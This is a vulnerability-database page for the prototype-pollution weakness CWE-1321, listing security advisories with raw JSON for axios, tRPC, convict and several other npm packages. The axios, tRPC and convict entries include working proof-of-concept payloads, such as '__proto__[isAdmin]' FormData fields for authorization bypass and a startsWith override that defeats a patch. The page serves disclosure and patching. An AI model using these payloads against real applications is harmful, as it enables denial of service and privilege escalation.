Common Weakness Enumeration

CWE-1321

Allowed

Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')

Abstraction: Variant · Status: Incomplete

API response cwe.mitre.org

The product receives input from an upstream component that specifies attributes that are to be initialized or updated in an object, but it does not properly control modifications of attributes of the object prototype.

962 vulnerabilities reference this CWE, most recent first.

GHSA-43FC-JF86-J433

Vulnerability from github – Published: 2026-02-09 17:46 – Updated: 2026-05-08 13:46
VLAI
Summary
Axios is Vulnerable to Denial of Service via __proto__ Key in mergeConfig
Details

Denial of Service via proto Key in mergeConfig

Summary

The mergeConfig function in axios crashes with a TypeError when processing configuration objects containing __proto__ as an own property. An attacker can trigger this by providing a malicious configuration object created via JSON.parse(), causing complete denial of service.

Details

The vulnerability exists in lib/core/mergeConfig.js at lines 98-101:

utils.forEach(Object.keys({ ...config1, ...config2 }), function computeConfigValue(prop) {
  const merge = mergeMap[prop] || mergeDeepProperties;
  const configValue = merge(config1[prop], config2[prop], prop);
  (utils.isUndefined(configValue) && merge !== mergeDirectKeys) || (config[prop] = configValue);
});

When prop is '__proto__':

  1. JSON.parse('{"__proto__": {...}}') creates an object with __proto__ as an own enumerable property
  2. Object.keys() includes '__proto__' in the iteration
  3. mergeMap['__proto__'] performs prototype chain lookup, returning Object.prototype (truthy object)
  4. The expression mergeMap[prop] || mergeDeepProperties evaluates to Object.prototype
  5. Object.prototype(...) throws TypeError: merge is not a function

The mergeConfig function is called by:

  • Axios._request() at lib/core/Axios.js:75
  • Axios.getUri() at lib/core/Axios.js:201
  • All HTTP method shortcuts (get, post, etc.) at lib/core/Axios.js:211,224

PoC

import axios from "axios";

const maliciousConfig = JSON.parse('{"__proto__": {"x": 1}}');
await axios.get("https://httpbin.org/get", maliciousConfig);

Reproduction steps:

  1. Clone axios repository or npm install axios
  2. Create file poc.mjs with the code above
  3. Run: node poc.mjs
  4. Observe the TypeError crash

Verified output (axios 1.13.4):

TypeError: merge is not a function
    at computeConfigValue (lib/core/mergeConfig.js:100:25)
    at Object.forEach (lib/utils.js:280:10)
    at mergeConfig (lib/core/mergeConfig.js:98:9)

Control tests performed: | Test | Config | Result | |------|--------|--------| | Normal config | {"timeout": 5000} | SUCCESS | | Malicious config | JSON.parse('{"__proto__": {"x": 1}}') | CRASH | | Nested object | {"headers": {"X-Test": "value"}} | SUCCESS |

Attack scenario: An application that accepts user input, parses it with JSON.parse(), and passes it to axios configuration will crash when receiving the payload {"__proto__": {"x": 1}}.

Impact

Denial of Service - Any application using axios that processes user-controlled JSON and passes it to axios configuration methods is vulnerable. The application will crash when processing the malicious payload.

Affected environments:

  • Node.js servers using axios for HTTP requests
  • Any backend that passes parsed JSON to axios configuration

This is NOT prototype pollution - the application crashes before any assignment occurs.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.13.4"
      },
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "1.13.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.30.2"
      },
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.30.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-25639"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321",
      "CWE-754"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-09T17:46:14Z",
    "nvd_published_at": "2026-02-09T21:15:49Z",
    "severity": "HIGH"
  },
  "details": "# Denial of Service via **proto** Key in mergeConfig\n\n### Summary\n\nThe `mergeConfig` function in axios crashes with a TypeError when processing configuration objects containing `__proto__` as an own property. An attacker can trigger this by providing a malicious configuration object created via `JSON.parse()`, causing complete denial of service.\n\n### Details\n\nThe vulnerability exists in `lib/core/mergeConfig.js` at lines 98-101:\n\n```javascript\nutils.forEach(Object.keys({ ...config1, ...config2 }), function computeConfigValue(prop) {\n  const merge = mergeMap[prop] || mergeDeepProperties;\n  const configValue = merge(config1[prop], config2[prop], prop);\n  (utils.isUndefined(configValue) \u0026\u0026 merge !== mergeDirectKeys) || (config[prop] = configValue);\n});\n```\n\nWhen `prop` is `\u0027__proto__\u0027`:\n\n1. `JSON.parse(\u0027{\"__proto__\": {...}}\u0027)` creates an object with `__proto__` as an own enumerable property\n2. `Object.keys()` includes `\u0027__proto__\u0027` in the iteration\n3. `mergeMap[\u0027__proto__\u0027]` performs prototype chain lookup, returning `Object.prototype` (truthy object)\n4. The expression `mergeMap[prop] || mergeDeepProperties` evaluates to `Object.prototype`\n5. `Object.prototype(...)` throws `TypeError: merge is not a function`\n\nThe `mergeConfig` function is called by:\n\n- `Axios._request()` at `lib/core/Axios.js:75`\n- `Axios.getUri()` at `lib/core/Axios.js:201`\n- All HTTP method shortcuts (`get`, `post`, etc.) at `lib/core/Axios.js:211,224`\n\n### PoC\n\n```javascript\nimport axios from \"axios\";\n\nconst maliciousConfig = JSON.parse(\u0027{\"__proto__\": {\"x\": 1}}\u0027);\nawait axios.get(\"https://httpbin.org/get\", maliciousConfig);\n```\n\n**Reproduction steps:**\n\n1. Clone axios repository or `npm install axios`\n2. Create file `poc.mjs` with the code above\n3. Run: `node poc.mjs`\n4. Observe the TypeError crash\n\n**Verified output (axios 1.13.4):**\n\n```\nTypeError: merge is not a function\n    at computeConfigValue (lib/core/mergeConfig.js:100:25)\n    at Object.forEach (lib/utils.js:280:10)\n    at mergeConfig (lib/core/mergeConfig.js:98:9)\n```\n\n**Control tests performed:**\n| Test | Config | Result |\n|------|--------|--------|\n| Normal config | `{\"timeout\": 5000}` | SUCCESS |\n| Malicious config | `JSON.parse(\u0027{\"__proto__\": {\"x\": 1}}\u0027)` | **CRASH** |\n| Nested object | `{\"headers\": {\"X-Test\": \"value\"}}` | SUCCESS |\n\n**Attack scenario:**\nAn application that accepts user input, parses it with `JSON.parse()`, and passes it to axios configuration will crash when receiving the payload `{\"__proto__\": {\"x\": 1}}`.\n\n### Impact\n\n**Denial of Service** - Any application using axios that processes user-controlled JSON and passes it to axios configuration methods is vulnerable. The application will crash when processing the malicious payload.\n\nAffected environments:\n\n- Node.js servers using axios for HTTP requests\n- Any backend that passes parsed JSON to axios configuration\n\nThis is NOT prototype pollution - the application crashes before any assignment occurs.",
  "id": "GHSA-43fc-jf86-j433",
  "modified": "2026-05-08T13:46:54Z",
  "published": "2026-02-09T17:46:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/security/advisories/GHSA-43fc-jf86-j433"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25639"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/pull/7369"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/pull/7388"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/commit/28c721588c7a77e7503d0a434e016f852c597b57"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/commit/d7ff1409c68168d3057fc3891f911b2b92616f9e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/axios/axios"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/releases/tag/v0.30.3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/releases/tag/v1.13.5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Axios is Vulnerable to Denial of Service via __proto__ Key in mergeConfig"
}

GHSA-43P4-M455-4F4J

Vulnerability from github – Published: 2025-12-16 19:37 – Updated: 2025-12-16 19:37
VLAI
Summary
tRPC has possible prototype pollution in `experimental_nextAppDirCaller`
Details

Note that this vulnerability is only present when using experimental_caller / experimental_nextAppDirCaller.

Summary

A Prototype Pollution vulnerability exists in @trpc/server's formDataToObject function, which is used by the Next.js App Router adapter. An attacker can pollute Object.prototype by submitting specially crafted FormData field names, potentially leading to authorization bypass, denial of service, or other security impacts.

Affected Versions

  • Package: @trpc/server
  • Affected Versions: >=10.27.0
  • Vulnerable Component: formDataToObject() in src/unstable-core-do-not-import/http/formDataToObject.ts

Vulnerability Details

Root Cause

The set() function in formDataToObject.ts recursively processes FormData field names containing bracket/dot notation (e.g., user[name], user.address.city) to create nested objects. However, it does not validate or sanitize dangerous keys like __proto__, constructor, or prototype.

Vulnerable Code

// packages/server/src/unstable-core-do-not-import/http/formDataToObject.ts
function set(obj, path, value) {
  if (path.length > 1) {
    const newPath = [...path];
    const key = newPath.shift();  // ← No validation of dangerous keys
    const nextKey = newPath[0];

    if (!obj[key]) {  // ← Accesses obj["__proto__"] which returns Object.prototype
      obj[key] = isNumberString(nextKey) ? [] : {};
    }

    set(obj[key], newPath, value);  // ← Recursively pollutes Object.prototype
    return;
  }
  // ...
}

export function formDataToObject(formData) {
  const obj = {};
  for (const [key, value] of formData.entries()) {
    const parts = key.split(/[\.\[\]]/).filter(Boolean);  // Splits "__proto__[isAdmin]" → ["__proto__", "isAdmin"]
    set(obj, parts, value);
  }
  return obj;
}

Attack Vector

When a user submits a form to a tRPC mutation using Next.js Server Actions, the nextAppDirCaller adapter processes the FormData:

// packages/server/src/adapters/next-app-dir/nextAppDirCaller.ts:88-89
if (normalizeFormData && input instanceof FormData) {
  input = formDataToObject(input);  // ← Vulnerable call
}

An attacker can craft FormData with malicious field names:

const formData = new FormData();
formData.append("__proto__[isAdmin]", "true");
formData.append("__proto__[role]", "superadmin");

When processed, this pollutes Object.prototype:

{}.isAdmin        // → "true"
{}.role           // → "superadmin"

Proof of Concept

# Step 1: Create the project directory

mkdir trpc-vuln-poc
cd trpc-vuln-poc

# Step 2: Initialize npm

npm init -y

# Step 3: Install vulnerable tRPC

npm install @trpc/server@11.7.2

# Step 4: Create the test file

Test.js

const { formDataToObject } = require('@trpc/server/unstable-core-do-not-import');

console.log("=== PoC Prototype Pollution en tRPC ===\n");

console.log("[1] Estado inicial:");
console.log("    {}.isAdmin =", {}.isAdmin);

const fd = new FormData();
fd.append("__proto__[isAdmin]", "true");
fd.append("__proto__[role]", "superadmin");
fd.append("username", "attacker");

console.log("\n[2] FormData malicioso:");
console.log('    __proto__[isAdmin] = "true"');
console.log('    __proto__[role] = "superadmin"');

console.log("\n[3] Llamando formDataToObject()...");
const result = formDataToObject(fd);
console.log("    Resultado:", JSON.stringify(result));

console.log("\n[4] Después del ataque:");
console.log("    {}.isAdmin =", {}.isAdmin);
console.log("    {}.role =", {}.role);

const user = { id: 1, name: "john" };
console.log("\n[5] Impacto en autorización:");
console.log("    Usuario normal:", JSON.stringify(user));
console.log("    user.isAdmin =", user.isAdmin);

if (user.isAdmin) {
    console.log("\n    VULNERABLE - Authorization bypass exitoso!");
} else {
    console.log("\n    ✓ Seguro");
}

Impact

Authorization Bypass (HIGH)

Many applications check user permissions using property access:

// Vulnerable pattern
if (user.isAdmin) {
  // Grant admin access
}

After pollution, all objects will have isAdmin: "true", bypassing authorization.

Denial of Service (MEDIUM)

Polluting commonly used property names can crash applications:

formData.append("__proto__[toString]", "not_a_function");
// All subsequent .toString() calls will fail
Severity
8.5 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:L/SC:L/SI:H/SA:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@trpc/server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.27.0"
            },
            {
              "fixed": "10.45.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@trpc/server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "11.0.0"
            },
            {
              "fixed": "11.8.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-68130"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-16T19:37:57Z",
    "nvd_published_at": "2025-12-16T17:16:11Z",
    "severity": "HIGH"
  },
  "details": "\u003e Note that this vulnerability is only present when using `experimental_caller` / `experimental_nextAppDirCaller`.\n\n## Summary\n\nA Prototype Pollution vulnerability exists in `@trpc/server`\u0027s `formDataToObject` function, which is used by the Next.js App Router adapter. An attacker can pollute `Object.prototype` by submitting specially crafted FormData field names, potentially leading to authorization bypass, denial of service, or other security impacts.\n\n## Affected Versions\n\n- **Package:** `@trpc/server`\n- **Affected Versions:** \u003e=10.27.0\n- **Vulnerable Component:** `formDataToObject()` in `src/unstable-core-do-not-import/http/formDataToObject.ts`\n\n## Vulnerability Details\n\n### Root Cause\n\nThe `set()` function in `formDataToObject.ts` recursively processes FormData field names containing bracket/dot notation (e.g., `user[name]`, `user.address.city`) to create nested objects. However, it does **not** validate or sanitize dangerous keys like `__proto__`, `constructor`, or `prototype`.\n\n### Vulnerable Code\n\n```typescript\n// packages/server/src/unstable-core-do-not-import/http/formDataToObject.ts\nfunction set(obj, path, value) {\n  if (path.length \u003e 1) {\n    const newPath = [...path];\n    const key = newPath.shift();  // \u2190 No validation of dangerous keys\n    const nextKey = newPath[0];\n\n    if (!obj[key]) {  // \u2190 Accesses obj[\"__proto__\"] which returns Object.prototype\n      obj[key] = isNumberString(nextKey) ? [] : {};\n    }\n    \n    set(obj[key], newPath, value);  // \u2190 Recursively pollutes Object.prototype\n    return;\n  }\n  // ...\n}\n\nexport function formDataToObject(formData) {\n  const obj = {};\n  for (const [key, value] of formData.entries()) {\n    const parts = key.split(/[\\.\\[\\]]/).filter(Boolean);  // Splits \"__proto__[isAdmin]\" \u2192 [\"__proto__\", \"isAdmin\"]\n    set(obj, parts, value);\n  }\n  return obj;\n}\n```\n\n### Attack Vector\n\nWhen a user submits a form to a tRPC mutation using Next.js Server Actions, the `nextAppDirCaller` adapter processes the FormData:\n\n```typescript\n// packages/server/src/adapters/next-app-dir/nextAppDirCaller.ts:88-89\nif (normalizeFormData \u0026\u0026 input instanceof FormData) {\n  input = formDataToObject(input);  // \u2190 Vulnerable call\n}\n```\n\nAn attacker can craft FormData with malicious field names:\n\n```javascript\nconst formData = new FormData();\nformData.append(\"__proto__[isAdmin]\", \"true\");\nformData.append(\"__proto__[role]\", \"superadmin\");\n```\n\nWhen processed, this pollutes `Object.prototype`:\n\n```javascript\n{}.isAdmin        // \u2192 \"true\"\n{}.role           // \u2192 \"superadmin\"\n```\n\n## Proof of Concept\n\n```bash\n# Step 1: Create the project directory\n\nmkdir trpc-vuln-poc\ncd trpc-vuln-poc\n\n# Step 2: Initialize npm\n\nnpm init -y\n\n# Step 3: Install vulnerable tRPC\n\nnpm install @trpc/server@11.7.2\n\n# Step 4: Create the test file \n```\n---\n\n### Test.js\n\n```javascript\nconst { formDataToObject } = require(\u0027@trpc/server/unstable-core-do-not-import\u0027);\n\nconsole.log(\"=== PoC Prototype Pollution en tRPC ===\\n\");\n\nconsole.log(\"[1] Estado inicial:\");\nconsole.log(\"    {}.isAdmin =\", {}.isAdmin);\n\nconst fd = new FormData();\nfd.append(\"__proto__[isAdmin]\", \"true\");\nfd.append(\"__proto__[role]\", \"superadmin\");\nfd.append(\"username\", \"attacker\");\n\nconsole.log(\"\\n[2] FormData malicioso:\");\nconsole.log(\u0027    __proto__[isAdmin] = \"true\"\u0027);\nconsole.log(\u0027    __proto__[role] = \"superadmin\"\u0027);\n\nconsole.log(\"\\n[3] Llamando formDataToObject()...\");\nconst result = formDataToObject(fd);\nconsole.log(\"    Resultado:\", JSON.stringify(result));\n\nconsole.log(\"\\n[4] Despu\u00e9s del ataque:\");\nconsole.log(\"    {}.isAdmin =\", {}.isAdmin);\nconsole.log(\"    {}.role =\", {}.role);\n\nconst user = { id: 1, name: \"john\" };\nconsole.log(\"\\n[5] Impacto en autorizaci\u00f3n:\");\nconsole.log(\"    Usuario normal:\", JSON.stringify(user));\nconsole.log(\"    user.isAdmin =\", user.isAdmin);\n\nif (user.isAdmin) {\n    console.log(\"\\n    VULNERABLE - Authorization bypass exitoso!\");\n} else {\n    console.log(\"\\n    \u2713 Seguro\");\n}\n```\n\n## Impact\n\n### Authorization Bypass (HIGH)\n\nMany applications check user permissions using property access:\n\n```javascript\n// Vulnerable pattern\nif (user.isAdmin) {\n  // Grant admin access\n}\n```\n\nAfter pollution, **all objects** will have `isAdmin: \"true\"`, bypassing authorization.\n\n### Denial of Service (MEDIUM)\n\nPolluting commonly used property names can crash applications:\n\n```javascript\nformData.append(\"__proto__[toString]\", \"not_a_function\");\n// All subsequent .toString() calls will fail\n```",
  "id": "GHSA-43p4-m455-4f4j",
  "modified": "2025-12-16T19:37:57Z",
  "published": "2025-12-16T19:37:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/trpc/trpc/security/advisories/GHSA-43p4-m455-4f4j"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68130"
    },
    {
      "type": "WEB",
      "url": "https://github.com/trpc/trpc/commit/78629d524968ef8db5a7adf68d8b95a44369d77e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/trpc/trpc"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:L/SC:L/SI:H/SA:L",
      "type": "CVSS_V4"
    }
  ],
  "summary": "tRPC has possible prototype pollution in `experimental_nextAppDirCaller`"
}

GHSA-44FC-8FM5-Q62H

Vulnerability from github – Published: 2026-03-26 18:55 – Updated: 2026-03-26 18:55
VLAI
Summary
Convict has Prototype Pollution via startsWith() function
Details

Summary

A prototype pollution vulnerability exists in the latest version of the convict npm package (6.2.4). Despite a previous fix that attempted to mitigate prototype pollution by checking whether user input started with a forbidden key, it is still possible to pollute Object.prototype via a crafted input using String.prototype.

Details

The vulnerability resides in line 564 of https://github.com/mozilla/node-convict/blob/master/packages/convict/src/main.js where startsWith() function is used to check whether user provided input contain forbidden strings.

PoC

Steps to reproduce

  1. Install latest version of convict using npm install or cloning from git
  2. Run the following code snippet:
String.prototype.startsWith = () => false; 
const convict = require('convict');
let obj = {};
const config = convict(obj);
console.log({}.polluted);
config.set('constructor.prototype.polluted', 'yes');
console.log({}.polluted);    // prints yes -> the patch is bypassed and prototype pollution occurred

Expected behavior

Prototype pollution should be prevented and {} should not gain new properties. This should be printed on the console:

undefined
undefined OR throw an Error

Actual behavior

Object.prototype is polluted This is printed on the console:

undefined 
yes

Impact

This is a prototype pollution vulnerability, which can have severe security implications depending on how convict is used by downstream applications. Any application that processes attacker-controlled input using convict.set may be affected. It could potentially lead to the following problems:

  1. Authentication bypass
  2. Denial of service
  3. Remote code execution (if polluted property is passed to sinks like eval or child_process)
Severity
9.4 (Critical)
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.2.4"
      },
      "package": {
        "ecosystem": "npm",
        "name": "convict"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.2.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33864"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-26T18:55:41Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Summary\nA prototype pollution vulnerability exists in the latest version of the convict npm package (6.2.4). Despite a previous fix that attempted to mitigate prototype pollution by checking whether user input started with a forbidden key, it is still possible to pollute `Object.prototype` via a crafted input using `String.prototype`. \n\n### Details\nThe vulnerability resides in line 564 of https://github.com/mozilla/node-convict/blob/master/packages/convict/src/main.js where `startsWith()` function is used to check whether user provided input contain forbidden strings. \n\n### PoC\n#### Steps to reproduce\n1. Install latest version of convict using `npm install` or cloning from git\n2. Run the following code snippet:\n\n```javascript\nString.prototype.startsWith = () =\u003e false; \nconst convict = require(\u0027convict\u0027);\nlet obj = {};\nconst config = convict(obj);\nconsole.log({}.polluted);\nconfig.set(\u0027constructor.prototype.polluted\u0027, \u0027yes\u0027);\nconsole.log({}.polluted);    // prints yes -\u003e the patch is bypassed and prototype pollution occurred\n```\n\n#### Expected behavior\nPrototype pollution should be prevented and {} should not gain new properties.\nThis should be printed on the console:\n```\nundefined\nundefined OR throw an Error\n```\n\n#### Actual behavior\n`Object.prototype` is polluted \nThis is printed on the console:\n```\nundefined \nyes\n```\n\n### Impact\nThis is a prototype pollution vulnerability, which can have severe security implications depending on how convict is used by downstream applications. Any application that processes attacker-controlled input using `convict.set`  may be affected.\nIt could potentially lead to the following problems:\n\n1. Authentication bypass\n2. Denial of service\n3. Remote code execution (if polluted property is passed to sinks like eval or child_process)",
  "id": "GHSA-44fc-8fm5-q62h",
  "modified": "2026-03-26T18:55:41Z",
  "published": "2026-03-26T18:55:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mozilla/node-convict/security/advisories/GHSA-44fc-8fm5-q62h"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mozilla/node-convict"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mozilla/node-convict/blob/master/packages/convict/src/main.js"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Convict has Prototype Pollution via startsWith() function"
}

GHSA-45VR-76FP-GMWX

Vulnerability from github – Published: 2024-07-30 21:31 – Updated: 2024-08-01 15:32
VLAI
Details

Prototype pollution in allpro form-manager 0.7.4 allows attackers to run arbitrary code and cause other impacts via the functions setDefaults, mergeBranch, and Object.setObjectValue.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2024-36572"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-07-30T20:15:03Z",
    "severity": "CRITICAL"
  },
  "details": "Prototype pollution in allpro form-manager 0.7.4 allows attackers to run arbitrary code and cause other impacts via the functions setDefaults, mergeBranch, and Object.setObjectValue.",
  "id": "GHSA-45vr-76fp-gmwx",
  "modified": "2024-08-01T15:32:15Z",
  "published": "2024-07-30T21:31:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-36572"
    },
    {
      "type": "WEB",
      "url": "https://github.com/allpro/form-manager/issues/1"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/mestrtee/1771ab4fba733ca898b6e2463dc6ed19"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-462X-C3JW-7VR6

Vulnerability from github – Published: 2023-06-30 20:41 – Updated: 2023-06-30 20:41
VLAI
Summary
Parse Server vulnerable to remote code execution via MongoDB BSON parser through prototype pollution
Details

Impact

An attacker can use this prototype pollution sink to trigger a remote code execution through the MongoDB BSON parser.

Patches

Prevent prototype pollution in MongoDB database adapter.

Workarounds

Disable remote code execution through the MongoDB BSON parser.

Credits

  • Discovered by hir0ot working with Trend Micro Zero Day Initiative
  • Fixed by dbythy
  • Reviewed by mtrezza

References

  • https://github.com/parse-community/parse-server/security/advisories/GHSA-462x-c3jw-7vr6
  • https://github.com/advisories/GHSA-prm5-8g2m-24gg
Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "parse-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.5.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "parse-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.0.0"
            },
            {
              "fixed": "6.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-36475"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-06-30T20:41:43Z",
    "nvd_published_at": "2023-06-28T23:15:21Z",
    "severity": "CRITICAL"
  },
  "details": "### Impact\n\nAn attacker can use this prototype pollution sink to trigger a remote code execution through the MongoDB BSON parser.\n\n### Patches\n\nPrevent prototype pollution in MongoDB database adapter.\n\n### Workarounds\n\nDisable remote code execution through the MongoDB BSON parser.\n\n### Credits\n\n- Discovered by hir0ot working with Trend Micro Zero Day Initiative\n- Fixed by dbythy\n- Reviewed by mtrezza\n\n### References\n\n- https://github.com/parse-community/parse-server/security/advisories/GHSA-462x-c3jw-7vr6\n- https://github.com/advisories/GHSA-prm5-8g2m-24gg\n\n",
  "id": "GHSA-462x-c3jw-7vr6",
  "modified": "2023-06-30T20:41:43Z",
  "published": "2023-06-30T20:41:43Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/parse-community/parse-server/security/advisories/GHSA-462x-c3jw-7vr6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-36475"
    },
    {
      "type": "WEB",
      "url": "https://github.com/parse-community/parse-server/issues/8674"
    },
    {
      "type": "WEB",
      "url": "https://github.com/parse-community/parse-server/issues/8675"
    },
    {
      "type": "WEB",
      "url": "https://github.com/parse-community/parse-server/commit/3dd99dd80e27e5e1d99b42844180546d90c7aa90"
    },
    {
      "type": "WEB",
      "url": "https://github.com/parse-community/parse-server/commit/5fad2928fb8ee17304abcdcf259932f827d8c81f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/parse-community/parse-server"
    },
    {
      "type": "WEB",
      "url": "https://github.com/parse-community/parse-server/releases/tag/5.5.2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/parse-community/parse-server/releases/tag/6.2.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Parse Server vulnerable to remote code execution via MongoDB BSON parser through prototype pollution"
}

GHSA-46FH-8FC5-XCWX

Vulnerability from github – Published: 2020-09-03 18:09 – Updated: 2020-08-31 18:46
VLAI
Summary
Prototype Pollution in lodash.defaultsdeep
Details

Versions of lodash.defaultsdeep before 4.6.1 are vulnerable to Prototype Pollution. The function 'defaultsDeep' may allow a malicious user to modify the prototype of Object via __proto__ causing the addition or modification of an existing property that will exist on all objects.

Recommendation

Update to version 4.6.1 or later.

Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "lodash.defaultsdeep"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.6.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-08-31T18:46:13Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "Versions of `lodash.defaultsdeep` before 4.6.1 are vulnerable to Prototype Pollution. The function \u0027defaultsDeep\u0027 may allow a malicious user to modify the prototype of `Object` via `__proto__` causing the addition or modification of an existing property that will exist on all objects.\n\n\n\n\n## Recommendation\n\nUpdate to version 4.6.1 or later.",
  "id": "GHSA-46fh-8fc5-xcwx",
  "modified": "2020-08-31T18:46:13Z",
  "published": "2020-09-03T18:09:16Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/1070"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Prototype Pollution in lodash.defaultsdeep"
}

GHSA-47PJ-Q2VM-46XC

Vulnerability from github – Published: 2023-03-18 06:30 – Updated: 2023-03-24 19:40
VLAI
Summary
Collection.js vulnerable to Prototype Pollution
Details

Versions of the package collection.js before 6.8.1 are vulnerable to Prototype Pollution via the extend function in Collection.js/dist/node/iterators/extend.js.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "collection.js"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.8.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-26113"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-03-20T21:19:22Z",
    "nvd_published_at": "2023-03-18T05:15:00Z",
    "severity": "HIGH"
  },
